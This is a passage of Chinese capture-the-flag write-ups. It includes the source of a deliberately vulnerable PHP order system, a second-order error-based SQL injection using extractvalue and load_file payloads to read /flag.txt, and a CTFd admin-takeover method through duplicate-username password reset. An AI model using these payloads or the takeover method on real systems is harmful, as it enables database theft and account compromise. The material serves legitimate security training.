            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>删除订单</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>
<div id="f">
    <div class="container">
        <div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

审计源码，发现了会输出错误信息，结合之前我们的判断(二次注入)可以推测出是基于报错的二次注入，然后我们来分析利用方式。

confirm.php中，我们发现添加订单时用的是bind，几乎无法注入

change.php中，我们发现address被addslashes处理后存入了数据库。但是在修改时，旧地址没有任何处理就被重新update了。而addslashes存入数据库的内容是没有反斜杠的，这里就存在一个报错注入了。

delete.php中直接删除整行，那么我们就能反复利用这一点，避免了一次报错完了就不能用了。

那么利用方式呼之欲出了：随便加个订单，修改地址为payload，再修改地址为正常地址。看完再删除掉订单，用同样的方法再看下一段。

根据CISCN的特点，flag形式是文件形式存储在/flag.txt，那我们用load_file来读取内容。注意到本身address参数并没有被严格过滤。

我们操作一下：

' where user_id=extractvalue(0,concat(0x7e,(select load_file('/flag.txt'))))#

' where user_id=extractvalue(0,concat(0x7e,(select substr(load_file('/flag.txt'),20,50))))#

flag{6737cbe1-eede-440f-a011-061e672cfec5}

[V&N2020 公开赛]HappyCTFd

CTFd平台。猜测是随便搭建的，不过管理员密码会在设置开始时创建，没有默认的，所以应该不能直接得到。

看Users，确实存在admin用户。

注册一个用户，测试一下。看了一圈一点思路没有，上网找WP去。

找了一下，发现这篇文章，是一个CVE。那就照着复现一下。

buuoj内网资源注册一个邮箱，然后我们来注册一个用户 admin，邮箱填我们注册的内网邮箱。

然后我们退出->忘记密码。

收到邮件

修改密码，重新登陆，进入管理员界面，看到题目

下载文件，得到flag

[Zer0pts2020]Can you guess it?

给了源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>